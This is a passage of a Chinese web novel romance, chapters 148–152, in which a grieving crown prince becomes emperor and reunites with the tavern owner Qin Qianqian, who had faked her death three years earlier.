穆轩岚满眼无奈地看着他，那是元德第一次看到殿下这种表情，仿佛在他眼前的不是挥斥方遒的储君，而是一个丢了宝物的孩童。
“元德，你不会在哄骗我吧？”
他早已没了往日的运筹帷幄，过往人生二十载，穆轩岚何曾语气这么踌躇过？
“殿下，不止我这么说，王老怪、楚风、还有冬芸，她们都有说过这话的，我们真的没有骗你。”
元德看自己的话有效，便想方设法再多说两句。
“而且殿下，就算抛开嘉松别苑不谈，当初从岭北离开之时，是老板自愿跟你走的啊！”
当初老板，为了殿下抛弃了熟悉的一切，跟他一同隐居。
虽说有补偿殿下的意思，可若不是心之所属，元德不信老板想不出别的补偿他的法子，非要用这一点。
这句话，算是点醒了一直钻牛角尖的穆轩岚。
外面的一声哀嚎，也吸引了他们二人的注意力。循声望去，穆元基跪坐在地上，哭得撕心裂肺。
“说好了？”穆轩岚问走过来的楚风。
她点了下头，郑重地给穆轩岚和元德拜了个拱手礼。
“多谢二位，在下心愿已了，今夜就准备动身离开了。”
来也一阵风，去也一阵风。
元德心中这么评价楚风，这么想来，她的行为还真契合她的名字。
穆轩岚点头，不过多问了一嘴，“你要去往何处？”
楚风看向皎洁的月光，又望向远处的闹市，天下之大，她哪里都能去。
不过暂时，她还是准备回璃光海。
她还有事情没想明白，到璃光海，没事也能去跟秦千千聊聊天。
听了她的打算，穆轩岚可以理解，那个地方，似乎有种让人忘记一切的功效。
“帮我带句好给她，谢谢。”
楚风走后，元德感叹一句，她算是自由了，结果却被穆轩岚打趣。
河山万里，哪有什么真正的自由。
一直等元德送穆元基回府后再度回来后，元德都在想殿下的那句话，他想不明白。
是夜，穆轩岚睡得比以往都要快。或许是心中有一丝丝希冀，催促他快些入睡。
最近几日他一直无梦，或者醒来发现自己已经泪流满面，但梦中的内容却记不得一点。
他无从考究，自己到底见没见到过她。
现在，他不用纠结这事了。
因为，他见到了她。
睁眼看到不远处烟雾缭绕的大湖，穆轩岚几乎是一瞬间就发现了湖边的站了个人。
那湖就是他见姜千秋那晚的湖，而半身在水中的人，正好站在他当初的位置。
穆轩岚立即朝那边飞奔过去，在烟雾稍稍散去之时，他看清楚了那人的脸。
“千千！”
他一瞬间酸了鼻子，可他来不及哭，只能拼尽全力往那边跑。水中的秦千千朝他笑，她什么都没说，缓缓张开双臂。
穆轩岚心中一紧，直觉告诉他，她不是要过来。
“不……，千千，别离开我！”
仅仅百步的距离，他却怎么都跑不到，这边越是
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急切，那边秦千千的动作就越快，她彻底张开双臂后，直直向后倒去。
她跌落水中泛起的涟漪，倏然掀起大风，吹散了湖面上笼罩的白雾，也把穆轩岚差点掀翻在地。
阳光倾泻下来，照的这里亮堂堂的，穆轩岚这是才看清，从她跌落的地方涌出鲜红的血，血液混杂着湖水翻涌着，就那么吞噬了她。
“不不不，不要！”
他惊呼一声，从睡梦中惊醒。
看着四周黑漆漆的，他抬手欲拂去额头上的冷汗，结果有双手先他一步替他擦去汗水。
“做噩梦了吗？”
一道熟悉的声音响起，穆轩岚如遭雷击楞在床榻之上，他当即抓住她的手腕，一不小心失了分寸。
听到一声忍着痛的吸气声，他才卸了些手上的力气，可手仍然是抓住她。
不止左手，他右手也轻车熟路地环上她的腰际，把人拥进怀中。
“怎么了？你怎么不说话。”
“千千，你回来了是吗？”
他声音都在颤抖，黑暗中他也不敢闭上自己的眼睛，即使他现在什么都看不到。
“什么回来？你是不是傻了，怎么睡一觉就变成这样了？我去点上蜡烛。”
她试图抽身，结果穆轩岚还是抱着她不放手，最终她只能由着他从背后环住她腰际，前心贴后背地跟她一起去点蜡烛。
在第一盏蜡烛点亮前，穆轩岚不自觉紧了紧手臂，他从未像现在这样害怕过。
他怕蜡烛一亮，一切都转瞬成空了。
可当跃动的火焰照亮榻前这片地方时，他终于在火光中见到了心心念念的人。
秦千千像往常一样，在他怀里转身，然后环上他的脖颈，手虚扣在他颈后。
她笑着抬头问他，到底怎么了。
“我梦到……梦到你离开了我。”
穆轩岚分不清哪个是梦境，或者说他分的太清了，现在只想难得糊涂罢了。
“我这么喜欢你，怎么舍得离开你？要是真离开，那也是你做了错事吧。”
秦千千耸了耸鼻子，看起来有些生气。
穆轩岚现在对她掏心掏肺都行，更别说坦白错事了。
“我确实有事情做错了，你……”
秦千千蹙眉准备打断他，结果却被他拇指封住嘴唇，穆轩岚等不及了，错过这个机会，他怕是再没有机会说了。
“我不该向你隐瞒我储君的身份，我该早早告诉你的。”
“我更不该在嘉松别苑给你用馥配香，以至于我都分不清，你到底喜不喜欢我……”
他手上完全没用力，秦千千很容易就挣脱开，她不耐烦地咬了一口嘴边的手掌，那点痛意对他来说，根本不算什么。
“就这些小事？我根本不会为了这个生气的，好不好！还是说你根本就不了解我，以为我会因为这个恨你。”
两个人对视两秒，秦千千气得推着他的胸口要挣脱出去，穆轩岚连忙认错。
看他服软，秦千千又无奈地环抱住他的腰，倚在他心口，小声呢喃着。
“我怎么忍心怪你呢？”
眼泪从穆轩岚眼尾滑落，他紧紧抱住怀中的人，可理智告诉他，自己该醒了。
149. 三载时光，些许风霜
自那个梦之后，穆轩岚便彻底不惆怅情感之事了，他知道，那是对自己和千千情谊的不信任。
他开始专心做回他的储君，正常上朝、正常议政、正常的不能再正常了。
有关南梁朝储君的传言，似乎只更改了两项：一，迟迟不娶妻；二、整日穿白衣。
换去丹药后，皇上的身体逐渐硬朗起来。九个月后的穆元基大婚，皇上亲自操办了不少。
仪式盛大，普天同庆。
可穆轩岚却并未到场，别看他是一国之储，也免不了被群臣议论。
有人说，储君自小跟五王爷不合，不来也正常；有人说，五王爷抢了储君门当户对的青梅竹马，他们是死敌，不能来……
“还有人说什么？”
穆轩岚好整以暇地抬头，看着说一半不再说的牧九明，穆轩岚从桌案后起身，绕到牧九明身旁。
“本王派你去，不就是做个探子吗？怎地不说了。”
牧九明是害怕了。
最近几个月，穆轩岚变了。
不是往坏处变，而是往好处变。
穆轩岚变得格外能忍，性格比之前还要静水流深；在不为人知的暗处，他下手也比之前狠戾多了。
牧九明觉得，他认识的那个穆轩岚其实没有变，只不过他压制住了一部分自己，选择表现得更为潇洒而已。
这种伪装，让他甚是担心。
人都是要有发泄口的，若是主动堵死所有发泄口，那人早晚都会出问题的。
看他迟迟不说，穆轩岚用手背撞了一下牧九明臂弯搭着的浮沉。
“没意思，你怎么不替本王说几句，就说本王已有婚配，让别的人少来诽谤本王。”
看着穆轩岚离去的背影，牧九明还是忍不住问他。
“穆轩岚，你到底要装无所谓多久？”
彼时能掐会算的牧九明，也没有算到，他又往后坚持了三个月。
在秦千千离开他整一年的时候，往日没有任何异样的穆轩岚，突然又告了假，说是身体不适，在府中修养。
皇上皇后一合计，才发觉是那个日子要到了，便由他去了。
消息传的飞快，王老怪只花了三天时间，就奔到了府门口。元德接到消息过来接他时，王老怪已经瘫坐在正厅椅子上饮茶了。
穆轩岚再三强调自己没事，那不容置疑的语气，让元德都有些害怕。
可王老怪不是别人，他才不吃威逼利诱这一套，施压对他来说一点用都没有。
号过脉后，王老怪这才彻底放心。
晚上三人同饮，王老怪跟他们说了自己近一年的见闻。
他带着两个草纸、当归两个娃娃四处云游，后来给他们寻得两个好人家，自己这才一身轻地去璃光海。
“你说去哪里？”
自打见面之后，礼仪表情都无懈可击的穆轩岚，现在表情终于有些波澜了。
王老怪这个人精，又怎么会看不明白？
“璃光海啊，我去那里了。”
在那里可以收购很多药材，那都是当地特产，在别的地方没有的。
“我顺手倒卖，从中赚钱呢，谁跟钱过不去呀！”
王老怪没心没肺地笑容下，掩盖着谁都不想先提及的事情。
他们怕穆轩岚难过，谁都清楚，殿下根本没有过去那个坎。
“难道你就没有去看一看千千？”穆轩岚认真地问道。
王老怪心中也卸了力，绷着装不在乎，真的太累了。
怪不得他看着穆轩岚憔悴了这么多，这家伙装了一年啊……
“我天天去，有好事，我给她念叨念叨；有坏事，我就站在坟包前骂人。估计她啊，怕是要烦死了我。”
王老怪不得不承认，秦千千与姜千秋那种一见惊鸿、永生难忘的惊才绝艳的人不同。
她是润物细无声，跟她相处时，或许还会觉得她烦，可骤然从所有人生活中剥离，大家才会发现，自己其实十分仰赖她。
“阁主看人眼光就是准确，千千值得这么多人的牵挂。而千千眼光也好，咱们各个都真心待她，就连晏信都……”
对上元德惊恐的眼神，王老怪才察觉自己失言了，这种察言观色的停顿，穆轩岚又怎么不会察觉？
“晏信如何，不妨继续往下说吧。”
穆轩岚轻挑眉头，王老怪也只能接着说。
晏信在璃光海倒腾小生意，自从收到那串项链贝壳以后，晏信好像对贝壳生意很感兴趣。所以，他就整日在那里倒卖贝壳。
话在王老怪的嘴边徘徊几周，他还是没有说出来，晏信所在的地方，一抬头就能看到秦千千。
与其说他在那里做生意，倒不如说是在守陵。
王老怪没有说出口的话，穆轩岚自然也是知道的，毕竟他的人没有撤离过那里。哪怕在他答应了楚风后，他也并没有照做。
又是一年春来去。
这一年皇上的身体变得很不好，储君自然而然的接过了治理国家的事情。
政务繁忙，不过对于穆轩岚来说，他却觉得惬意。毕竟，忙起来就没空想到远在天边，阴阳相隔的那个人。
在千千忌日的没几天，南梁朝发生了一件不大不小的事情：天海朝的国王再度入京朝拜，企图获得庇佑。
经过之前的事情，穆轩岚又怎么会拒绝他？
早在他们入京前，就已经安置好了所有的接待计划，一切都是按最高规格置办的。
可没成想，在京都外为他们接风洗尘时，穆轩岚却看到了一个故人。
“草民晏信，拜见储君殿下。”
晏信拱手行礼，不等他回应，便自顾自的介绍起身边的天海朝国王。
“殿下真是客气了！如此阵仗真是让我惶恐，我早早打听过。这位晏公子非常了解天朝的风土人情，所以便带他一同参拜。”
一年时间，晏信的经商天赋完全显露，他已经成了天海朝数一数二的商人。
可促成两朝联政，却跟晏信没有一点关系。
“我只是一介草民，不配见你们殿下。”
晏信拿这个借口，搪塞来邀请他与穆轩岚一聚的人。
元德甚是为难。
本来跟晏信再度见面时，他就觉得难为情，毕竟当初是他和殿下欺瞒在先。
虽然这不是他们真相大白后的第一次见面，可第一次见面，他们也没机会说什么。当晚晏信带着千千的遗体就走了，根本没来得及说什么。
这第二次见面，晏信
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压抑已久的情绪还是忍不住表露出来。
守在坟前，他的心中只有懊悔，懊悔自己不应该走，他就应该在那里一直保护她。
当初他明白千千的心意，她喜欢穆轩岚，可谁知后来那家伙伤她至深。若早知如此，他绝对不会放手。
怀着这股怨气，晏信就是不愿意去见他。
元德请不来人，便只能回去复命。
“本王今天还非得跟他喝上这顿酒。”
穆轩岚正准备起身往府外走，结果就看到门前的来人，不是晏信又是谁？
他抬手阻止仆人阻挡他，直到那人气势汹汹的走到他面前，元德紧张地往前迈了一步。
“思来想去，我是该来，不知殿下肯不肯赏脸给顿饭吃。”
时过境迁，两个人的心境都变了很多。
来之前，晏信心中的怒火仍旧无法平息，他想自己要来好好斥责他一番。
可看到穆轩岚憔悴又凝重的面庞时，晏信却突然放下了执念。看来，这两年他的日子也不好过。
美酒佳肴，山珍海味，饶是不懂天家礼数的晏信也知道，这顿饭极尽奢华，恐怕不是耐克该有的规格。
看着他盯着桌上的餐食发呆，穆轩岚就开口调笑他。
“难不成是你山珍海味吃够了，嫌这些不新鲜？”
晏信看了他一眼，紧绷的表情也终于放松下来，仿佛回到了曾经同吃同住的日子。
“莫要调笑我这个，我只是震惊于殿下竟然如此大的手笔，当初跟我们云游天下的日子，你算是受苦了吧。”
说起调笑，两个人都不遑多让。
放在之前，元德会觉得，在殿下面前提起曾经的事情会让殿下难过。
可现在他知道，这些事情过去了又没过去。
过去了是面子上过去了，哪怕有人再提这个殿下也不会大动肝火；没过去，是殿下心里没过去，他不会告诉别人，但元德看得明白。
就像现如今，元德突然发现他们两个人都是这个状态。或许也不是他的发现，而是所有人包括他自己，也都是这么处理她离世之事的。
三个人同坐，一同畅饮。夜宴过半，每个人都喝到微醺。
这时，晏信才完全敞开心扉，将心中的抱怨说了出来。
“你真的不仗义，听王老怪说，千千明明酿了一批酒，你怎么就独自珍藏起来？连招待我的时候也不肯拿出一瓶。”
穆轩岚眼神晦暗，就连嘴角的笑容也僵硬了两分，沉默片刻后，他才有些遗憾的开口。
“往日我一直舍不得喝，不管谁来，哪怕是王老怪，我都不会拿出来。每每当我觉得人生无趣，想与她共赴黄泉的时候，我再拿出来饮两口。”
晏信脸上的表情也愣了一刹，千千离世的悲伤仍然笼罩着他们，更笼罩着那个深爱着他的穆轩岚。
虽然酒醉的他脑袋昏昏沉沉，在这一瞬间却让他想起，自己不跟穆轩岚发飙的原因——她会舍不得。
再一眨眼，又是一年春去东来。
皇上终究还是没能挺过那年大雪，一如三年前未曾见过当年漫天飞雪的秦千千一样。
比起操办祭奠大典，新皇上位的第一件事，便是下令拆除了，清风酒楼那似有若无的封条。
150. 作为登基大典的一件贺礼
新皇登基是一件很大的事情，宫里宫外忙到不可开交，寻常百姓的饭后谈资又多了一项。
“听说了吗？新皇这可是第一位尚未成家的皇帝，也就是说咱们皇上还没有皇后呢。”
“你扯这干吗？难不成皇上还要你这个媒婆给他说媒？”
“你给我滚犊子。”媒婆揍了那人一巴掌，“以后十里八乡的媒人，都不给你说媒，你打光棍儿去吧。”
“民间不是有传闻说，这殿下是有意中人的，就是咱们那里的清风酒楼的老板。他要是不喜欢那个老板，为什么上位第一件事情就是把封条给撕了？”
“对呀，对呀。听说还是他亲自去的……”
“你这么说我倒是想起来，新皇帝年年素衣白簪，听说是为了祭奠亡妻呢。说不准呢，就是她。”
消息本就如此，一传十，十传百。若是没人出手制止，这消息早晚传遍天涯海角。
寻常人打喷嚏，都会念叨一声，自己定是被谁思念了，或者被谁骂了。往常，秦千千也是这么认为的。
可当她“死”了以后，她就有了别的托词。
要是上午打喷嚏，她就会抱怨，这是晏信在给自己上香，又在念叨自己了；要是下午打喷嚏，她就开始唠叨桃花花、桑风雪她们。
唯独夜深人静时打喷嚏，她只会喃喃自语道，夜凉了，她这是着凉。
躲在风陵三载，秦千千谁也没见，所有人都以为她死透了。
风陵当地的人，只知道她们这里，出了个做生意的好手，她酒楼的生意做得那叫一个红火兴旺。
风陵位于两国交界处，具体也说不上属于哪个国家，这个地方繁华却也复杂，各种势力盘根错节，谁也制服不了谁。
这种“刺头”地段，两个国家都没有很想纳入麾下，而这就成了滋养秦千千重生的地方。
她本就是在混乱中生存的奇才，这倒给了她很大的发挥空间，消息又开始在她手中流通、运转。
只有把全部消息捏在手中，她才放心，自己不会暴露。
今日她和往常一样，翻转门上的牌子，上面写着：概不见人，便把自己锁在房中。
这里的伙计虽然她已经调教了三年，但用起来还是不如原来的人顺手。
常常不管大小事都要过来麻烦她，几次三番下来把她整烦了，她就挂一个牌子在房门上，见到这牌子，谁都不敢去敲她的门。
咚咚咚。
“老板，你今天又怎么了？我们明明说好去买东西的。”
云彩在外面叫她，门又敲得震天响，她想装听不见都不行。
秦千千咬着牙拉开门，结果看到一张比自己还生气的脸，她顿时也就不恼了。
“好好好，走吧。”
云彩是她在这里新招的伙计，准确来说，是新买的。人口买卖，在这里是很平常的事情。
秦千千没有后台，也没有那个武力去管这种事情。彼时的她刚到这里，除了身上揣着的数万银票，她一无所有。
于是，她就买了云彩。
昨天下午，她答应带云彩去几十里外最大的集彩霞市集赶集。可夜里她就收到消息，穆轩岚的暗卫，已经到了彩霞市集。
早在几天前，她得知穆轩岚的父皇离世。
老东西，死就死了。
这是秦千千的第一想法，反正她知道，穆轩岚上位只会比老东西更加励精图治，他才是个实打实的明君。
当时她并未有第二想法，可在听闻封条被撕毁的时候，她冒出了第二个想法：或许自己的身份瞒不了多久了。
暴露的速度，取决于他的野心。
看他什么时候决定扩张国土，扫荡到这里的时候，该见面的时候，她不会逃跑的。
三年前出逃千里，现在她不打算跑了。
因此，哪怕知道暗卫入驻了彩霞市集，秦千千还是去了。
至于穆轩岚几天会得到消息，她却不得而知，南梁朝京都的消息，她向来都是滞后得到的。不能联系的太密切，否则会暴露。
她本就心思缜密，这三年中更是谨小慎微，现如今卖一个破绽给皇上，算是庆贺他登基的一件贺礼吧。
两日后，秦千千听闻朝中在准备登基大典了，日子也定下来了，就在后日。她心情也颇好，特许店中伙计一人赏银五两。
“老板，赏钱却不给我们出去花的功夫，可不太好！”
蹬鼻子上脸，是云彩最会做的事情。
她眼巴巴地看着秦千千，她知道，秦千千最受不了自己这个表情，当初她就是靠这个表情，蛊惑她买了自己。
果然，秦千千嘴角微微上扬，可眉头却是紧皱起来，似乎看起来很不耐烦。
“行行行，后天吧，到时候你们该归家的归家，该去外面玩的去外面玩，留我一个人守在这里就好了。”
那晚自己会干什么呢？
秦千千笑着想，她大概会温一壶酒，做几碟小菜，然后在房里饮酒赏月，顺便庆祝一下南梁朝迎来了最英明的皇帝。
然后……她就可以着手写那本，南梁小传了。
暗卫飞奔进府邸的时候，元德拦住那人，斥责他不懂规矩。
现如今，殿下虽然还没搬去皇宫，但府中的规格早已不一样了。哪能跟之前一样，一有紧急消息，就冲到殿下眼前。
“有什么事情，日后要先汇报给我，轻重缓急，我自有分晓。”
元德这也不是摆官威，而是心疼殿下。所有事情都推给殿下，殿下已经日日忙得焦头烂额了。
谁知那暗卫却依旧一脸急切，他凑近元德，压低声音跟他汇报。
“统领，我们在风陵可能见到了秦千千，就是那个秦老……”
元德骤然转头，死死盯住他，“长得有几分相似？”
近几年，本来守在京都的暗卫，全都指出去了，人手一张画像，全都在找秦千千。哪怕相貌相似的，也要向上汇报。
这种铺天盖地的搜罗，已经持续三年了，从未间断过。期间也有人汇报，可最终还是被证伪，不过穆轩岚从来不会为找错而生气。
元德隐隐觉得，这次有可能是真的。
“不是几分相像，我觉得就是。”
穆轩岚正在案边翻看奏折，那上面罗列着登基大典按照礼制规定的事项、吃穿用度
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等等。
更有两个大臣，斗胆上奏折，请求他登基大典穿龙袍，而非身着白衣。
他嗤笑一声，把奏折扔到一旁。身为储君时，他的事情不容许别人置喙，更何况，他现在是皇帝。
“殿下，臣有急事要报。”元德带着暗卫扑跪在地上，穆轩岚正好眼睛乏累，他便起身朝他们走去。
风尘仆仆的暗卫，看起来像是从远方来的。
“说。”
“属下在千里之外碰到了秦千千，可当属下打探她的信息时，却什么都找不出来。”
穆轩岚身形一顿，耳中嗡鸣不止，直到把手心攥出血，他才让自己冷静下来。
理智回笼，他发觉那一定是她。除了她，还有谁有这般隐匿一切踪迹的能力？
“元德，去备马。”
他甚至来不及问目的地在哪，便上前扯着元德肩头的衣服，催促他快去办。
元德跪在地上，他一脸担忧地看着殿下，说着穆轩岚不爱听的话。
“殿下，您近些日子身体不好，这些日子又开始咳血，臣去给您备轿，我们快马加鞭赶过去，好不好？”
元德甚至不敢劝他别去，因为他清楚，殿下一定会去的。哪怕扑空，他还是会去。
穆轩岚用力推了他一把，让他立刻滚去备马。元德却犟着不肯去，千里骑马奔袭过去，殿下身体根本就受不了。
每日这点来找殿下答疑解惑的冬芸，听到屋里的动静，赶忙跑过去，没几步路，也让她听清了吵嚷的原委。
“殿下，您不能那么固执的！重逢第一面，您人心让她看到您那般模样吗？”
相处三载，冬芸是最会用秦千千劝他的人。
穆轩岚一瞬间失了所有力气，他喑哑着嗓子催促元德。
“就照你说的，快去办。”
都说近乡情怯，可对于穆轩岚来说却不是这样，他自从得知消息后，恨不得直接飞过去。
快马骑不了，他只能不顾颠簸催促，快些，再快些。
路途遥远，就连元德这个壮汉都颠得沧桑了几分，更别说本就身体不适的穆轩岚了。他在车上几近昏迷，吃也吃不下，睡又不愿睡。
上路的第三个晚上，元德试着用冬芸的法子劝殿下，果然，让殿下安睡了一晚。
明日黄昏，自己就能赶到风陵了。穆轩岚脑中一直想着这句话，沉沉睡去时，梦中也都是那一个人的背影。
赶到风陵时，马车再进不去，道路狭窄又崎岖不平，他们只能下轿步行进去。他身披黑色大氅，在夜幕的笼罩下进了城。
说是城，这里更像是一个难民集中的地界，因为这里几乎没有什么像样的房子。木制的房子，少之又少，放眼望去，只有天边有一栋高些的木楼。
牌匾穆轩岚看不真切，可心中有个声音告诉他，那就是他要去的地方。
自从下了轿，穆轩岚就眉头紧皱，他无法想象千千是怎么在这里待三年的，哪怕是为了惩罚自己，她也不该这么委屈自己。
直到站在那木楼的门前，穆轩岚才看清牌匾上熟悉的字迹，肆意潇洒地写着四个大字：
清风明月。
151. 有情人终于相见
按照常理说，穆轩岚现在应该欣喜若狂，应该激动不已，可是他没有。他现在心中只有一个声音，叫嚷着让他快些进去。
门可罗雀的店面，让他来不及欣喜，千千下辖的店铺，怎么可能如此冷清。
元德赶忙上前推开门，昏暗的厅中空无一人，板凳也都放在桌面上，颇有一种歇业不干了的感觉。
穆轩岚环顾四周后率先抬头，看到三楼有个房间亮着灯，他心跳如擂鼓。元德正要说什么，被他抬手制止。
接下来这段路，他要自己走。
从踏上第一层台阶开始，他的脚步就轻得不能再轻，仿佛惊动了那人，她就会如一阵烟随风飘散了似的。
一百二十三级台阶，他数得清清楚楚。
站在那房间门口时，他还是不敢相信，这就是现实。可身体先理智一步，他定睛透过窗纸往屋里看。
隔着朦胧不清的窗纸，他看到了辗转梦回时，总能看到的一个背影。
有什么东西哽在喉头，他几乎说不出话来，敲门的动作轻之又轻，他怕惊醒自己又一个美梦。
“云彩，我不都说了你出去玩，别来烦我！”
秦千千正在侧头给自己斟酒，被突如其来的敲门声吓了一跳，因此，语气中充满了不耐烦。
没听到回答，又没听到离开的脚步声，她起身拢了拢衣服，准备去问她到底要干什么。
拉开门的瞬间，穿堂风吹过，吹散了她虚挽着的发髻，她抬手把头发绊在耳后，疑惑地看着空无一物的门前。
“云彩，被我抓到，你就完蛋了啊！”
总是这种把戏，在秦千千勒令她不许进自己房间后，云彩时不时就玩这种把戏。
铛啷。
风吹倒了尚未放稳的酒壶，她来不及关门，赶忙转身过去拯救那瓶酒。
可就在转身的一瞬间，她抬起的脚还在空中尚未落地，就有一个人从背后伸手，环住了她的腰。而后埋头在她颈侧，跟她侧脸贴着侧脸。
秦千千下意识想要掰开那人的手，毕竟她也不是想搂就搂的，可手刚搭上那人的遒劲有力的小臂，她就如雷击般楞在原地。
“你怎么来了？”
察觉身后的人在发抖，她的手安抚般地轻拍他胳膊，虽说心中早就构想过再度见面，但秦千千没想到这么快。
回应她的只有越发收紧的拥抱，和在颈侧埋得更深的脸。他的呼吸打在颈侧的皮肤上，让秦千千有些痒痒的。
他总是如此，知道自己怕痒，还专门凑到她耳边说话，或者时不时偷咬一口她颈间。
夜风再度袭来，秦千千本就穿得单薄，虽说身后有温热的胸膛，但她还是被冷的打了个寒颤。
她原想喝醉直接睡的，所以才解了发髻、换上睡觉穿的长襟。
穿衣少的弊端，一是冷，二是只隔一层衣物，穆轩岚在她肩上轻咬的一口，哪怕收着力，她还是被痛到抽气。
其实秦千千心中还是忐忑的，两个人的关系早已说不清楚，谁亏欠谁、谁又欺瞒谁？若说他隐瞒身份骗自己，可自己也用假死骗了他三年。
因此，她早就做好了准备，哪怕再见面时他要自己的命，那给他便是。
要命可以，但咬她不可以。
“看来天子三年前诛杀我一次还不够，现在还要来取我性命啊！”
是准备把她咬死吗？秦千千故意用激将法，可又不想真的把他惹生气，所以悄然昧下最后一句话。
“那你可曾知道，从三年前我便夙夜难寐。而且，当年那句话是人不在心也空。”
穆轩岚终于开口，他抬脚踢上木门，然后拥着她往前走，走到打开的窗户边，用头轻轻撞了她脸颊一下，示意她赶紧关窗。
“知道冷还不关窗，真当自己不会生病的吗？”
这般亲昵让秦千千都恍惚了，仿佛两个人似乎从来都没有分开过，分别的那三年难不成是一场梦。
秦千千在他怀中挣扎着转身，在看到熟悉却又久违的面庞时，她还是忍不住湿了眼眶。
“你不怪我吗？”
往常她心虚的时候，会低下头，可被思念裹挟的她，眼睛一秒都离不开穆轩岚的脸。穆轩岚也满眼感慨地低头望着她，他浅浅一笑。
“为什么不问我过得好不好？几年不见，你不担心我吗？”
穆轩岚神色完全放松下来，他稍带不满质问秦千千的样子，跟三年前一点变化都没有。
唯独脸上多了两分倦容，秦千千想，他一路赶过来一定很累。明明自己昨天还收到消息，他在准备登基大典的，一日之内，怎么可能行千里路？
她抬手抚上他的侧脸，现在除了顺着他，她没有别的想法。
“那你……”
“不好，我一点都不好。”穆轩岚即答。
他目光灼灼地看着秦千千，看她泫然若泣的样子，穆轩岚直接把她拥进怀中。
“可是现在都好了，千千，不会离开我了，对吗？”
穆轩岚不愿看她难过，他只想让千千知道，自己无时无刻不在思念她，这就足够了。
月下独酌，变成了两人共饮。
秦千千本想替他倒酒，可穆轩岚却要自己来。
“怎么跟我客气成这样？”她揶揄道。
穆轩岚抬眸看着她，脸上经年未曾消散的忧愁早已不见，只不过眼底的倦色还是被秦千千看得一清二楚。
“不是跟你客气，我已经很久没饮过酒了，喝多怕醉。”怕醒来又发现这是一场梦，他不想喝多。
秦千千撇了撇嘴，“那我这三年佳酿，就自己喝了呗？”
她看着穆轩岚手中的白玉酒瓶，话里有话。
实在不是他多心，而是三年这个时间太敏感，已经深深烙印进他的心中。
三年、酒……
他唯一能想到的，就是当年姜千秋带走的那一坛酒。
“是当年她带走的那一坛吗？”
秦千千笑着点头，她主人只喝清风酒，那明月醉全都是属于秦千千的。
听她这么说，穆轩岚好像听懂了话中的意思。
“原来那些酒，是你专门留给我的吗？那带走的那坛酒……”
“是为了给你留个念想。”
她端起酒杯，一杯放进穆轩岚手中，一杯自己拿着，跟他碰杯后一饮而尽。穆轩岚却不喝，他自打进了门，
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眼睛就跟粘在她身上一样。
秦千千觉得又好笑又心酸，这三年，他过得不好，自己都清楚。当初意气风发的少年郎，现在变得如此患得患失，她跟着心疼坏了。
“酒都伤身，我简直不敢想，你万一自暴自弃酗酒那可怎么办。后来才想起，我为了解酒瘾酿的明月醉，其实根本不会醉。”
她一边说，一边起身，穆轩岚眼睛紧紧盯着她，看着她跑到铜镜前，叮叮当当地翻动首饰盒。
没一会儿，她拿着一条二指宽的红布过来，朝他伸出右手。穆轩岚想都没想，就去握住她的手。
“不用这么患得患失，我不会再无故消失了，不信，你大可以把我捆起来。”
她把细长的布条塞进他手中，穆轩岚看了看手中的软布，又抬头看了看她，他没有犹豫，把红布的一头绑在自己手腕。
秦千千扯过凳子，坐在他面前帮他捆好，接着轮到她了，她满脸笑意地把手伸过去，谁知道穆轩岚并没有绑她。
他把红布另一端放到了她手中，满脸诚挚地看着她。
“千千，你去哪里都可以，可以后记得把我带上。”
那诚挚到有些可怜的话，听得秦千千湿了眼眶，她抓住穆轩岚的手腕，直接扑进他怀里。埋头在他颈间，一如刚才穆轩岚做的那样。
两个人什么都没有说，只是抱在一起，良久后，穆轩岚才算彻底回过神来，秦千千真的回来了。
穆轩岚低头看到她肩膀上浅浅的印子，就问她痛不痛。秦千千头还抵在他颈窝，立即摇了摇头。
“跟我说说，你这些过得怎么样？”她问。
穆轩岚凑在她耳边，低声跟她呢喃。
“你不是应该全知道的吗？无所不能的秦老板……”
说着，他轻轻抚着她背后的长发，她散落的黑发手感极好，夜深人静时，他最喜欢捻一缕在手中把玩。
听到自己被调笑，秦千千也委屈了起来，她骤然抬头，跟他四目相对。
“为了隐匿踪迹，我装死一年后，才重新联系线人。哪怕是现在，京中消息我也是滞后两日才拿到手的。”
抱怨完，她看着穆轩岚珍视又深情的眼神，接下来的话也温柔了下来。
“你在难过的时候，我也在难过，为你难过，为我们难过。”
这三年，穆轩岚本来以为自己午夜梦回时，已经把眼泪流干了，可听到那句“我们”，他眼眶还是湿润了。
他埋在心中的疑惑再也无法按捺，几乎是没有犹豫地就问出了口。
“千千，能告诉我这是为什么吗？”
为什么要分开，怎么就弄到险些天人两隔，这问题，他百思不得其解。
穆轩岚总是在想，若是千千选择信任他，他也一定会在皇上面前据理力争。她，不是非死不可。
秦千千看透了他的心思，她挑了下眉头，小声跟他呢喃了一句。穆轩岚的身体先一步行动，他直接凑上去吻住她的唇。
这次两个人谁都没有闭眼，穆轩岚眼中尽是如愿以偿的欢愉与狂热，也夹杂着一部分不解；秦千千的眸底却充满了笃信，甚至还有一份笑意。
看，这就是答案。
152. 京都？我不会回去的
“我要你做一个明君，一个名垂千古的君王，而不是陷于情爱甚至要弑父的人。”
事到如今，秦千千再不隐瞒，她当初离开就是为了穆轩岚，现在回来，也依然是为了他。
若真如穆轩岚所构想的那样，她们携手据理力争，她们是争不过皇上的，更争不过那长生的欲望。
自己不死，皇上心中的矛头仍旧直指自己。
“倒是你会怎么做？你会为了我跟皇上决裂，甚至为了保住我，会不择手段。”
秦千千字字句句都说尽他的心意，恍然大悟后，他嘴角泛起苦笑。
原来，一切都是为了自己。
只不过，她或许不知道一件事情，弑父的事情，他已然做过了。
他眸色深沉地看着秦千千，第一次希望她不要跟自己心意相通，不要看出端倪。
可环着他脖子的手臂，骤然收紧，秦千千突然瞪大眼睛，在她问出口前，穆轩岚再度封上她的唇。
上一个吻他温柔极了，对待失而复得的心上人，他丝毫不敢用力；可这个吻便凶狠多了，带着些许强制的意味。
秦千千双手用力推拒他，同时她整个人也在往后撤，穆轩岚又怎么会依她？
他一手攀上她的背，挡在她和桌边之间，另一只手顺着脖子往上，扣住她的脑后，不让她再后退。
手指嵌入发间时，穆轩岚突然想起嘉松别苑中，夜夜交颈而卧的日子，她有时候累了乏了就要跑，哪次不都是自己这般按住她抱回来的。
心思一动，他直接抱着她起了身，往常他会托住她的，这次他却没有。
秦千千怕掉下去，挂在他脖颈的胳膊只能抱得更紧，双腿绕过他腰间，盘在他身后。
“你你你，你快些放我下来！”她气急败坏地嚷他，穆轩岚不仅不生气，他还笑出声。
可他却不回答，只是在她颈侧落下一个又一个浅浅的吻。穆轩岚知道，她马上就会受不了了。
凑在她耳边说话，没几句，她就要软了腰肢，若是吻的话，不出两个，她便会卸了力气了。
果然，她立马求饶，可怜兮兮地让他放自己下来。上身被他紧紧抱住，秦千千就算是想转身跳下去都做不到。
